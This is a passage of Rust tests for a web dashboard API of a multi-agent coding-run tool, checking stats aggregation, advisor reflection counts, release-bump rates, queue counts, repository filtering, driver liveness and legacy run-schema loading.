20360 assert!(body.contains("statsScatterPlan(reviewers)"));
20361 assert!(body.contains("statsAgentTone(d.agent)"));
20362 assert!(APP_JS.contains("function statsScatterPlan("));
20363 assert!(
20364 APP_JS.contains("d.submitted < STATS_LOW_N")
20365 || APP_JS.contains("r.submitted < STATS_LOW_N")
20366 );
20367 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
20368 assert!(APP_CSS.contains(".precision-scatter"));
20369 }
20370
20371 #[test]
20372 fn advisor_reflection_is_drawn_as_stacked_segments() {
20373 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
20374 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
20375 let html = include_str!("../assets/ui/index.html");
20376 assert!(html.contains("Approximate"));
20377 for label in ["reflected strongly", "faint", "no proposal"] {
20378 assert!(html.contains(label));
20379 }
20380 let css = include_str!("../assets/ui/app.css");
20381 for c in ["refl-strong", "refl-faint", "refl-absent"] {
20382 assert!(css.contains(&format!(".{c} {{")));
20383 }
20384 }
20385
20386 #[test]
20387 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
20388 assert!(APP_JS.contains("function statsDailyPlan("));
20389 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
20390 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
20391 }
20392
20393 #[test]
20394 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
20395 let start = APP_JS
20396 .find("function scheduleSearch(")
20397 .expect("scheduleSearch exists");
20398 let body = &APP_JS[start..];
20399 let body = &body[..body.find("\n}\n").expect("function end")];
20400 assert!(body.contains("s.seq += 1"));
20401 }
20402
20403 #[tokio::test]
20408 async fn stats_runs_unreadable_matches_health() {
20409 let f = Fixture::start().await;
20410 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
20411 let broken = f.runs().join("20260902-140502-bad");
20412 std::fs::create_dir_all(&broken).expect("run dir");
20413 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
20414
20415 let stats = f.get("/api/stats").await;
20416 let health = f.get("/api/health").await;
20417
20418 assert_eq!(stats.status, 200);
20419 assert_eq!(stats.json()["totals"]["runs"], 1);
20420 assert_eq!(stats.json()["runs_unreadable"], 1);
20421 assert_eq!(
20422 stats.json()["runs_unreadable"],
20423 health.json()["runs_unreadable"],
20424 "the dashboard and /api/health must never disagree about how many \
20425 runs could not be read"
20426 );
20427 }
20428
20429 #[tokio::test]
20430 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
20431 let f = Fixture::start().await;
20432 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20433 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
20434 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
20435
20436 let totals = &f.get("/api/stats").await.json()["totals"];
20437 assert_eq!(totals["runs"], 3);
20438 assert_eq!(totals["merged"], 1);
20439 assert_eq!(totals["stalled"], 1);
20440 assert_eq!(totals["in_progress"], 1);
20441 assert_eq!(totals["blocked"], 0);
20444 assert_eq!(totals["ready"], 0);
20445 }
20446
20447 #[tokio::test]
20448 async fn stats_advisors_report_proposals_and_reflection() {
20449 use crate::advise::{Advice, AdvisorRecord, Reflection};
20450 use crate::verdict::Proposal;
20451
20452 let f = Fixture::start().await;
20453 let mut state = RunState::new(
20454 PathBuf::from("/repo/magi"),
20455 "main".to_owned(),
20456 "0123456789abcdef".to_owned(),
20457 "task".to_owned(),
20458 Config::default(),
20459 );
20460 state.id = "20260902-140501-a".to_owned();
20461 state.status = RunStatus::Merged;
20462 state.advice = Some(Advice {
20463 records: vec![
20464 AdvisorRecord {
20465 seat: "advisor-1".to_owned(),
20466 agent: "alpha".to_owned(),
20467 proposal: Some(Proposal {
20468 approach: "do it".to_owned(),
20469 key_tradeoff: "speed over memory".to_owned(),
20470 risks: Vec::new(),
20471 touches: Vec::new(),
20472 why_not_naive: "breaks under load".to_owned(),
20473 }),
20474 error: None,
20475 duration_ms: 0,
20476 reflection: Reflection::Strong,
20477 },
20478 AdvisorRecord {
20479 seat: "advisor-2".to_owned(),
20480 agent: "alpha".to_owned(),
20481 proposal: None,
20482 error: Some("timed out".to_owned()),
20483 duration_ms: 0,
20484 reflection: Reflection::Absent,
20485 },
20486 ],
20487 synthesis: Some("blended brief".to_owned()),
20488 });
20489 let dir = f.runs().join(&state.id);
20490 std::fs::create_dir_all(&dir).expect("run dir");
20491 std::fs::write(
20492 dir.join("run.json"),
20493 serde_json::to_string_pretty(&state).expect("serialize run"),
20494 )
20495 .expect("write run.json");
20496
20497 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
20499 let alpha = advisors
20500 .as_array()
20501 .expect("an array")
20502 .iter()
20503 .find(|a| a["agent"] == "alpha")
20504 .expect("alpha row");
20505 assert_eq!(alpha["seated"], 2);
20506 assert_eq!(alpha["proposed"], 1);
20507 assert_eq!(alpha["absent"], 1);
20508 assert_eq!(alpha["strong"], 1);
20509 assert_eq!(alpha["faint"], 0);
20510 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
20511 }
20512
20513 #[tokio::test]
20514 async fn stats_hides_agents_outside_the_roster_unless_all() {
20515 use crate::run::Candidate;
20516 let repo = TempDir::new().expect("repo dir");
20517 std::fs::write(
20518 repo.path().join("magi.toml"),
20519 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
20520 )
20521 .expect("magi.toml");
20522 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20523 let mut state = RunState::new(
20524 PathBuf::from("/repo/magi"),
20525 "main".to_owned(),
20526 "0123456789abcdef".to_owned(),
20527 "task".to_owned(),
20528 Config::default(),
20529 );
20530 state.id = "20260902-140501-a".to_owned();
20531 state.status = RunStatus::Merged;
20532 for (label, agent) in [('A', "keep"), ('B', "retired")] {
20533 let mut c: Candidate = serde_json::from_value(serde_json::json!({
20534 "index": 0, "label": label.to_string(), "agent": agent,
20535 "branch": "b", "worktree": "/w",
20536 }))
20537 .expect("candidate");
20538 c.label = label;
20539 state.candidates.push(c);
20540 }
20541 let dir = f.runs().join(&state.id);
20542 std::fs::create_dir_all(&dir).expect("run dir");
20543 std::fs::write(
20544 dir.join("run.json"),
20545 serde_json::to_string_pretty(&state).expect("serialize run"),
20546 )
20547 .expect("write run.json");
20548
20549 let agents_of = |v: &serde_json::Value| -> Vec<String> {
20550 v["agents"]
20551 .as_array()
20552 .expect("array")
20553 .iter()
20554 .map(|a| a["agent"].as_str().unwrap().to_owned())
20555 .collect()
20556 };
20557 let hidden = f.get("/api/stats").await.json();
20558 assert_eq!(agents_of(&hidden), ["keep"]);
20559 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20560 assert_eq!(hidden["totals"]["runs"], 1);
20561
20562 let all = f.get("/api/stats?all=true").await.json();
20563 assert_eq!(agents_of(&all).len(), 2);
20564 assert_eq!(all["retired_hidden"], serde_json::json!([]));
20565 let keep_agent = all["agents"]
20567 .as_array()
20568 .unwrap()
20569 .iter()
20570 .find(|a| a["agent"] == "keep")
20571 .unwrap();
20572 assert_eq!(keep_agent["competitive_entered"], 1);
20573 assert_eq!(keep_agent["competitive_wins"], 0);
20574 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20575 assert_eq!(keep_agent["solo_entered"], 0);
20576 assert_eq!(keep_agent["solo_adopted"], 0);
20577 assert!(keep_agent["solo_adoption_rate"].is_null());
20578 }
20579
20580 #[tokio::test]
20581 async fn stats_release_bumps_split_clean_from_attention() {
20582 use crate::run::ReleaseBump;
20583
20584 let f = Fixture::start().await;
20585
20586 let mut clean = RunState::new(
20587 PathBuf::from("/repo/magi"),
20588 "main".to_owned(),
20589 "0123456789abcdef".to_owned(),
20590 "task".to_owned(),
20591 Config::default(),
20592 );
20593 clean.id = "20260902-140501-a".to_owned();
20594 clean.status = RunStatus::Merged;
20595 clean.release_bump = Some(ReleaseBump {
20596 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20597 version: Some("1.0.0".to_owned()),
20598 automerge_enabled: true,
20599 merged_directly: false,
20600 local: false,
20601 release: None,
20602 problem: None,
20603 action_required: None,
20604 skipped: None,
20605 });
20606
20607 let mut blocked = RunState::new(
20608 PathBuf::from("/repo/magi"),
20609 "main".to_owned(),
20610 "0123456789abcdef".to_owned(),
20611 "task".to_owned(),
20612 Config::default(),
20613 );
20614 blocked.id = "20260902-140502-b".to_owned();
20615 blocked.status = RunStatus::Merged;
20616 blocked.release_bump = Some(ReleaseBump {
20617 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20618 version: Some("1.0.1".to_owned()),
20619 automerge_enabled: false,
20620 merged_directly: false,
20621 local: false,
20622 release: None,
20623 problem: Some("checks red".to_owned()),
20624 action_required: Some("look at the PR".to_owned()),
20625 skipped: None,
20626 });
20627
20628 for state in [&clean, &blocked] {
20629 let dir = f.runs().join(&state.id);
20630 std::fs::create_dir_all(&dir).expect("run dir");
20631 std::fs::write(
20632 dir.join("run.json"),
20633 serde_json::to_string_pretty(state).expect("serialize run"),
20634 )
20635 .expect("write run.json");
20636 }
20637
20638 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20639 assert_eq!(bumps["merged"], 2);
20640 assert_eq!(bumps["recorded"], 2);
20641 assert_eq!(bumps["pr_opened"], 2);
20642 assert_eq!(bumps["automerge_enabled"], 1);
20643 assert_eq!(bumps["needs_attention"], 1);
20644 assert_eq!(bumps["clean"], 1);
20645 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20646 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20647 }
20648
20649 #[tokio::test]
20650 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20651 let f = Fixture::start().await;
20652 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20653
20654 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20655 assert_eq!(bumps["merged"], 1);
20656 assert_eq!(bumps["recorded"], 0);
20657 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20660 assert_eq!(bumps["automerge_rate"], Value::Null);
20663 assert_eq!(bumps["attention_rate"], Value::Null);
20664 }
20665
20666 #[tokio::test]
20667 async fn stats_queue_counts_come_from_the_live_queue() {
20668 let f = Fixture::start().await;
20669 let q = f.queue();
20670 let mut queued = Task::new(
20671 "queued task".to_owned(),
20672 "do it".to_owned(),
20673 PathBuf::from("/repo"),
20674 Source::Human,
20675 );
20676 q.put(&mut queued).expect("put queued");
20677 let mut held = Task::new(
20678 "held task".to_owned(),
20679 "do it later".to_owned(),
20680 PathBuf::from("/repo"),
20681 Source::Human,
20682 );
20683 held.hold_machine(Some("out of attempts".to_owned()));
20684 q.put(&mut held).expect("put held");
20685
20686 let queue = f.get("/api/stats").await.json()["queue"].clone();
20687 assert_eq!(queue["queued"], 1);
20688 assert_eq!(queue["held"], 1);
20689 assert_eq!(queue["running"], 0);
20690 assert_eq!(queue["done"], 0);
20691 assert_eq!(queue["failed"], 0);
20692 assert_eq!(queue["blocked"], 0);
20693 }
20694
20695 #[tokio::test]
20696 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20697 let f = Fixture::start().await;
20698 let stats = f.get("/api/stats").await;
20699 assert_eq!(stats.status, 200);
20700 assert_eq!(stats.json()["totals"]["runs"], 0);
20701 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20702 assert_eq!(stats.json()["runs_unreadable"], 0);
20703 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20704 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20705 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20706 assert_eq!(stats.json()["repo"], Value::Null);
20707 }
20708
20709 #[tokio::test]
20710 async fn stats_lists_every_repository_with_runs_recorded() {
20711 let f = Fixture::start().await;
20712 write_run_repo(
20713 &f.runs(),
20714 "20260902-140501-a",
20715 RunStatus::Merged,
20716 "/repos/a",
20717 );
20718 write_run_repo(
20719 &f.runs(),
20720 "20260902-140502-b",
20721 RunStatus::Merged,
20722 "/repos/a",
20723 );
20724 write_run_repo(
20725 &f.runs(),
20726 "20260902-140503-c",
20727 RunStatus::Blocked,
20728 "/repos/b",
20729 );
20730
20731 let stats = f.get("/api/stats").await;
20732 assert_eq!(stats.status, 200);
20733 assert_eq!(stats.json()["totals"]["runs"], 3);
20735 assert_eq!(stats.json()["repo"], Value::Null);
20736
20737 let repos = stats.json()["repos"].clone();
20738 let repos = repos.as_array().unwrap();
20739 assert_eq!(repos.len(), 2);
20740 assert_eq!(repos[0]["repo"], "/repos/a");
20742 assert_eq!(repos[0]["name"], "a");
20743 assert_eq!(repos[0]["runs"], 2);
20744 assert_eq!(repos[1]["repo"], "/repos/b");
20745 assert_eq!(repos[1]["runs"], 1);
20746 }
20747
20748 #[tokio::test]
20749 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20750 let f = Fixture::start().await;
20751 write_run_repo(
20752 &f.runs(),
20753 "20260902-140501-a",
20754 RunStatus::Merged,
20755 "/repos/a",
20756 );
20757 write_run_repo(
20758 &f.runs(),
20759 "20260902-140502-b",
20760 RunStatus::Blocked,
20761 "/repos/b",
20762 );
20763
20764 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20765 assert_eq!(stats.status, 200);
20766 assert_eq!(stats.json()["totals"]["runs"], 1);
20767 assert_eq!(stats.json()["totals"]["merged"], 1);
20768 assert_eq!(stats.json()["repo"], "/repos/a");
20769 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20772 assert_eq!(stats.json()["runs_unreadable"], 0);
20775 }
20776
20777 #[tokio::test]
20778 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20779 let f = Fixture::start().await;
20780 write_run_repo(
20781 &f.runs(),
20782 "20260902-140501-a",
20783 RunStatus::Merged,
20784 "/repos/a",
20785 );
20786 write_run_repo(
20787 &f.runs(),
20788 "20260902-140502-b",
20789 RunStatus::Merged,
20790 "/repos/b",
20791 );
20792
20793 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20794 let json = f.get(uri).await.json();
20795 let daily = json["daily"].as_array().expect("daily is an array");
20796 assert_eq!(daily.len(), 30);
20797 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20798 let mut sorted = dates.clone();
20799 sorted.sort();
20800 assert_eq!(dates, sorted);
20801 for d in daily {
20802 assert_eq!(
20803 d["merged"].as_u64().unwrap()
20804 + d["ready"].as_u64().unwrap()
20805 + d["other"].as_u64().unwrap(),
20806 d["runs"].as_u64().unwrap()
20807 );
20808 }
20809 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20810 }
20811 }
20812
20813 #[tokio::test]
20814 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20815 let f = Fixture::start().await;
20816 write_run_repo(
20817 &f.runs(),
20818 "20260902-140501-a",
20819 RunStatus::Merged,
20820 "/repos/a",
20821 );
20822
20823 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20824 assert_eq!(stats.status, 404);
20825 }
20826
20827 #[tokio::test]
20828 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20829 let f = Fixture::start().await;
20830 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20831
20832 let summary = f.get("/api/runs").await.json();
20833 let row = &summary[0];
20834 assert_eq!(row["short"], "a1b2");
20835 assert_eq!(row["status"], "ready");
20836 assert_eq!(row["done"], true);
20837 assert_eq!(row["title"], "Add a web UI");
20838 assert_eq!(row["repo_name"], "magi");
20839 assert_eq!(row["judges"], 3);
20840 assert_eq!(row["winner"], Value::Null);
20841 assert_eq!(row["reviews"], 0);
20842
20843 let detail = f.get("/api/runs/a1b2").await;
20846 assert_eq!(detail.status, 200);
20847 assert_eq!(detail.json()["base_branch"], "main");
20848 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20849 }
20850
20851 #[tokio::test]
20859 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20860 let f = Fixture::start().await;
20861
20862 let mut none_run = RunState::new(
20863 PathBuf::from("/repo/magi"),
20864 "main".to_owned(),
20865 "0123456789abcdef".to_owned(),
20866 "Add a web UI".to_owned(),
20867 Config::default(),
20868 );
20869 none_run.id = "20260902-140503-none".to_owned();
20870 none_run.status = RunStatus::Ready;
20871 none_run.merge = Some(crate::run::MergeOutcome {
20872 mode: crate::config::MergeMode::None,
20873 ok: true,
20874 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20875 empty: false,
20876 });
20877 write_state(&f.runs(), &none_run);
20878
20879 let mut pr_run = RunState::new(
20880 PathBuf::from("/repo/magi"),
20881 "main".to_owned(),
20882 "0123456789abcdef".to_owned(),
20883 "Add a web UI".to_owned(),
20884 Config::default(),
20885 );
20886 pr_run.id = "20260902-140504-prcl".to_owned();
20887 pr_run.status = RunStatus::Ready;
20888 pr_run.merge = Some(crate::run::MergeOutcome {
20889 mode: crate::config::MergeMode::Pr,
20890 ok: false,
20891 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20892 empty: false,
20893 });
20894 write_state(&f.runs(), &pr_run);
20895
20896 let summary = f.get("/api/runs").await.json();
20897 let rows: std::collections::HashMap<&str, &Value> = summary
20898 .as_array()
20899 .expect("an array")
20900 .iter()
20901 .map(|r| (r["id"].as_str().expect("an id"), r))
20902 .collect();
20903 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20904 assert_eq!(
20905 rows[none_run.id.as_str()]["unmerged_by_design"],
20906 true,
20907 "a mode-none Ready must be flagged in the list"
20908 );
20909 assert_eq!(
20910 rows[pr_run.id.as_str()]["unmerged_by_design"],
20911 false,
20912 "a Ready reached by a closed pull request is a different case"
20913 );
20914
20915 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20916 assert_eq!(none_detail["status"], "ready");
20917 assert_eq!(none_detail["unmerged_by_design"], true);
20918
20919 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20920 assert_eq!(pr_detail["unmerged_by_design"], false);
20921 }
20922
20923 #[tokio::test]
20928 async fn run_core_survives_unavailable_related_stores() {
20929 let home = TempDir::new().unwrap();
20930 let ui = delta_test_ui(home.path());
20931 let state = RunState::new(
20932 PathBuf::from("/repo/magi"),
20933 "main".into(),
20934 "0123456789abcdef".into(),
20935 "Useful core instructions".into(),
20936 Config::default(),
20937 );
20938 let dir = ui.runs.join(&state.id);
20939 std::fs::create_dir_all(&dir).unwrap();
20940 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20941 std::fs::write(ui.questions.root(), "unavailable").unwrap();
20942 std::fs::write(ui.queue.root(), "unavailable").unwrap();
20943 let core = run_core(State(ui.clone()), Path(state.id.clone()))
20944 .await
20945 .unwrap()
20946 .0;
20947 assert_eq!(core.state.instruction, state.instruction);
20948 assert_eq!(core.state.updated_at, state.updated_at);
20949 assert!(core.task.is_none());
20950 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20951 }
20952
20953 #[tokio::test]
20954 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20955 let f = Fixture::start().await;
20956 let id = "20260902-140502-bbbb";
20960 let mut state = RunState::new(
20961 PathBuf::from("/repo/magi"),
20962 "main".to_owned(),
20963 "0123456789abcdef".to_owned(),
20964 "Add a web UI".to_owned(),
20965 Config::default(),
20966 );
20967 state.id = id.to_owned();
20968 state.status = RunStatus::Judging;
20969 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20970 let dir = f.runs().join(id);
20971 std::fs::create_dir_all(&dir).expect("run dir");
20972 std::fs::write(
20973 dir.join("run.json"),
20974 serde_json::to_string_pretty(&state).expect("serialize run"),
20975 )
20976 .expect("write run.json");
20977
20978 let cold = f.get(&format!("/api/runs/{id}")).await.json();
20984 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20985 assert_eq!(cold["live"], "unknown", "{cold}");
20986
20987 write_daemon(f.home.path(), Timestamp::now());
20990 let warm = f.get(&format!("/api/runs/{id}")).await.json();
20991 assert_eq!(warm["live"], "live", "{warm}");
20992 }
20993
20994 #[test]
20995 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20996 let home = tempfile::tempdir().expect("temp home");
20997 let runs = home.path().join("runs");
20998 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20999 let mut state = RunState::new(
21000 PathBuf::from("/repo/magi"),
21001 "main".to_owned(),
21002 "0123456789abcdef".to_owned(),
21003 "Generated review context, not authored task criteria".to_owned(),
21004 Config::default(),
21005 );
21006 state.origin = origin;
21007 state.status = RunStatus::Blocked;
21008 state.driver_exited = false;
21010 state.gate_ran = true;
21011 let expected = serde_json::to_value(&state).expect("serialize current state");
21012 let mut legacy = expected.clone();
21013 legacy["schema"] = serde_json::json!(13);
21014 legacy.as_object_mut().unwrap().remove("task_instruction");
21015 let dir = runs.join(&state.id);
21016 std::fs::create_dir_all(&dir).expect("run dir");
21017 let path = dir.join("run.json");
21018 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
21019 std::fs::write(&path, &body).expect("write legacy run");
21020
21021 for loaded in [
21022 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
21023 read_run(&runs, &state.id).expect("web migration"),
21024 ] {
21025 assert_eq!(loaded.schema, crate::run::SCHEMA);
21026 assert!(loaded.task_instruction.is_none());
21027 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
21028 }
21029 assert_eq!(runs_unreadable(&runs), 0);
21030 assert_eq!(std::fs::read(&path).unwrap(), body);
21031 }
21032 }
21033
21034 #[tokio::test]
21037 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
21038 let f = Fixture::start().await;
21039 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
21040 let mut state = RunState::new(
21041 PathBuf::from("/repo/magi"),
21042 "main".to_owned(),
21043 "0123456789abcdef".to_owned(),
21044 "Add a web UI".to_owned(),
21045 Config::default(),
21046 );
21047 state.id = id.to_owned();
21048 state.origin = origin;
21049 let mut value = serde_json::to_value(&state).expect("serialize run");
21050 if let Some(schema) = schema {
21051 value["schema"] = serde_json::json!(schema);
21052 value.as_object_mut().unwrap().remove("origin");
21053 }
21054 let dir = f.runs().join(id);
21055 std::fs::create_dir_all(&dir).expect("run dir");
21056 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
21057 };
21058 write(
21059 "20260930-092817-ec34",
21060 Some(crate::run::Origin::from_agent_env(
21061 Some(("4a7b".to_owned(), "chat".to_owned())),
21062 None,
21063 )),
21064 None,
21065 );
21066 write("20260930-092817-0ld1", None, Some(12));
21067
21068 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
21069 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
21070 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
21071
21072 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
21073 assert_eq!(
21074 old["origin_label"], "origin unknown (started before origins were recorded)",
21075 "{old}"
21076 );
21077 assert!(old["origin"].is_null(), "{old}");
21078
21079 let list = f.get("/api/runs").await.json();
21080 let labels: Vec<_> = list
21081 .as_array()
21082 .unwrap()
21083 .iter()
21084 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
21085 .collect();
21086 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
21087 }
21088
21089 #[tokio::test]
21090 async fn run_progress_observation_exposes_activity_without_control_evidence() {
21091 let f = Fixture::start().await;
21092 let mut state = RunState::new(
21093 PathBuf::from("/repo"),
21094 "main".into(),
21095 "abc".into(),
21096 "task".into(),
21097 Config::default(),
21098 );
21099 state.status = RunStatus::Implementing;
21100 state.seat_started(
21101 "implement",
21102 "implement-A",
21103 std::time::Duration::from_secs(60),
21104 0,
21105 );
21106 state.save_under(f.home.path()).unwrap();
21107 let observed = f
21108 .get(&format!("/api/runs/{}/progress", state.id))
21109 .await
21110 .json();
21111 assert_eq!(observed["id"], state.id);
21112 assert!(observed["observed_at"].is_string());
21113 assert_eq!(observed["updated_at"], state.updated_at.to_string());
21114 assert!(observed["progress"]["activity"].is_string());
21115 for field in [
21116 "config",
21117 "candidates",
21118 "land_approval",
21119 "task",
21120 "waiting",
21121 "done",
21122 ] {
21123 assert!(
21124 observed.get(field).is_none(),
21125 "progress must not expose control evidence: {field}"
21126 );
21127 }
21128 }
21129
21130 #[tokio::test]
21137 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
21138 let f = Fixture::start().await;
21139 let id = "20260922-090000-cccc";
21140 let mut state = RunState::new(
21141 PathBuf::from("/repo/magi"),
21142 "main".to_owned(),
21143 "0123456789abcdef".to_owned(),
21144 "Review only".to_owned(),
21145 Config::default(),
21146 );
21147 state.id = id.to_owned();
21148 state.status = RunStatus::Reviewing;
21149 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21150 state.driver_pid = Some(std::process::id());
21156 state.driver_started_at = Some(
21157 crate::proc::process_started_at(std::process::id())
21158 .expect("this test process's own start time must be queryable"),
21159 );
21160 let dir = f.runs().join(id);
21161 std::fs::create_dir_all(&dir).expect("run dir");
21162 std::fs::write(
21163 dir.join("run.json"),
21164 serde_json::to_string_pretty(&state).expect("serialize run"),
21165 )
21166 .expect("write run.json");
21167
21168 let detail = f.get(&format!("/api/runs/{id}")).await.json();
21169 assert_eq!(detail["live"], "live", "{detail}");
21170 }
21171
21172 #[tokio::test]
21178 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
21179 let f = Fixture::start().await;
21180 let id = "20260922-090100-dddd";
21181 let mut state = RunState::new(
21182 PathBuf::from("/repo/magi"),
21183 "main".to_owned(),
21184 "0123456789abcdef".to_owned(),
21185 "Review only".to_owned(),
21186 Config::default(),
21187 );
21188 state.id = id.to_owned();
21189 state.status = RunStatus::Reviewing;
21190 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21191 state.driver_pid = Some(std::process::id());
21196 state.driver_started_at = Some("1".to_owned());
21197 let dir = f.runs().join(id);
21198 std::fs::create_dir_all(&dir).expect("run dir");
21199 std::fs::write(
21200 dir.join("run.json"),
21201 serde_json::to_string_pretty(&state).expect("serialize run"),
21202 )
21203 .expect("write run.json");
21204
21205 let detail = f.get(&format!("/api/runs/{id}")).await.json();
21206 assert_eq!(detail["live"], "dead", "{detail}");
21207 }
21208
21209 #[test]
21213 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
21214 let mk = |id: &str, pid: Option<u32>| {
21215 let mut s = RunState::new(
21216 PathBuf::from("/repo/magi"),
21217 "main".to_owned(),
21218 "0123456789abcdef".to_owned(),
21219 "Add a web UI".to_owned(),
21220 Config::default(),
21221 );
21222 s.id = id.to_owned();
21223 s.driver_pid = pid;
21224 s.driver_started_at = Some("1790000000".to_owned());
21225 s
21226 };
21227 let states = vec![
21228 mk("20260902-140502-aaaa", Some(77)),
21229 mk("20260902-140502-bbbb", Some(77)),
21230 mk("20260902-140502-cccc", Some(77)),
21231 mk("20260902-140502-dddd", None),
21232 ];
21233 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
21234 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
21235 let sup: HashMap<String, String> = [(
21236 "20260902-140502-aaaa".to_owned(),
21237 "20260902-140502-cccc".to_owned(),
21238 )]
21239 .into();
21240
21241 let status_calls = std::cell::Cell::new(0);
21242 let identity_calls = std::cell::Cell::new(0);
21243 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
21244 |_| {
21245 status_calls.set(status_calls.get() + 1);
21246 Some(true)
21247 },
21248 |_| {
21249 identity_calls.set(identity_calls.get() + 1);
21250 Some("1790000000".to_owned())
21251 },
21252 ));
21253 let rows = summarize(
21254 states,
21255 &open,
21256 &claimed,
21257 &sup,
21258 |p| probe.borrow_mut().status(p),
21259 |p| probe.borrow_mut().started_at(p),
21260 );
21261
21262 assert_eq!(status_calls.get(), 1, "one pid, one status query");
21263 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
21264 assert_eq!(rows.len(), 4);
21265 assert!(!rows[0].waiting && rows[1].waiting);
21266 assert_eq!(rows[0].live, crate::run::Liveness::Live);
21267 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
21268 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
21269 assert_eq!(rows[1].superseded_by, None);
21270 }
21271
21272 #[test]
21273 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
21274 let mut state = RunState::new(
21275 PathBuf::from("/repo/magi"),
21276 "main".to_owned(),
21277 "0123456789abcdef".to_owned(),
21278 "Review only".to_owned(),
21279 Config::default(),
21280 );
21281 state.id = "20260922-090200-dead".to_owned();
21282 state.status = RunStatus::Reviewing;
21283 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
21284 .expect("serialize list row");
21285 assert_eq!(row["status"], "reviewing");
21286 assert_eq!(row["display_status"], "stale");
21287 assert_eq!(row["live"], "dead", "{row}");
21288 assert!(!row["done"].as_bool().unwrap());
21289 }
21290
21291 #[test]
21292 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
21293 use crate::run::Liveness::{Dead, Live, Unknown};
21294 let mut state = RunState::new(
21295 PathBuf::from("/repo/magi"),
21296 "main".to_owned(),
21297 "abc".to_owned(),
21298 "Review only".to_owned(),
21299 Config::default(),
21300 );
21301 for (status, parked, node, waiting, live, expected) in [
21302 (
21303 RunStatus::Judging,
21304 true,
21305 "github-text",
21306 false,
21307 Dead,
21308 "parked",
21309 ),
